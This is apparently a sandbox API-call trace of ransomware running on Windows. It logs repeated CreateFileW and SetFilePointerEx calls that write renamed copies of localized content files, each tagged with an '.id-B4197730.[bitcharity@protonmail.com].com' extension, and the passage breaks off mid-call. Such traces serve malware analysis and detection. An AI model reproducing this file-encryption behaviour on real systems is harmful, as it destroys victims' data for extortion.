SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.939] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.940] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.940] CloseHandle (hObject=0x115c) returned 1 [0276.940] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.940] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.941] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.941] CloseHandle (hObject=0x115c) returned 1 [0276.942] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.942] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.942] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.942] CloseHandle (hObject=0x115c) returned 1 [0276.943] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.943] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.943] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.943] CloseHandle (hObject=0x115c) returned 1 [0276.946] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.946] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.947] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.947] CloseHandle (hObject=0x115c) returned 1 [0276.948] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.948] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.948] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.948] CloseHandle (hObject=0x115c) returned 1 [0276.949] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.949] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.949] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.949] CloseHandle (hObject=0x115c) returned 1 [0276.950] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.950] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.950] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.950] CloseHandle (hObject=0x115c) returned 1 [0276.953] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.953] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.953] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.954] CloseHandle (hObject=0x115c) returned 1 [0276.954] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.954] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.955] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.975] CloseHandle (hObject=0x115c) returned 1 [0276.976] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.976] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.976] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.976] CloseHandle (hObject=0x115c) returned 1 [0276.977] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.977] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.978] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.978] CloseHandle (hObject=0x115c) returned 1 [0276.980] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.980] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.980] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.981] CloseHandle (hObject=0x115c) returned 1 [0276.982] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.982] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.982] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.982] CloseHandle (hObject=0x115c) returned 1 [0276.983] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.983] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.983] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.983] CloseHandle (hObject=0x115c) returned 1 [0276.984] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.984] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.984] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.985] CloseHandle (hObject=0x115c) returned 1 [0276.986] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.986] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.986] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.986] CloseHandle (hObject=0x115c) returned 1 [0276.989] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.989] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.989] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.990] CloseHandle (hObject=0x115c) returned 1 [0276.990] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.990] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.990] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.990] CloseHandle (hObject=0x115c) returned 1 [0276.991] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.991] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.991] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.991] CloseHandle (hObject=0x115c) returned 1 [0276.992] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.992] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.992] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.992] CloseHandle (hObject=0x115c) returned 1 [0277.000] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.000] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.000] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.000] CloseHandle (hObject=0x115c) returned 1 [0277.001] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.001] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.001] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.001] CloseHandle (hObject=0x115c) returned 1 [0277.002] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.002] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.002] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.002] CloseHandle (hObject=0x115c) returned 1 [0277.003] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.003] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.003] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.003] CloseHandle (hObject=0x115c) returned 1 [0277.005] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.005] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.006] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.006] CloseHandle (hObject=0x115c) returned 1 [0277.006] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.007] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.007] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.007] CloseHandle (hObject=0x115c) returned 1 [0277.008] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.008] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.008] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.008] CloseHandle (hObject=0x115c) returned 1 [0277.009] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.009] SetFilePointerEx (in: hFile=0x115c, 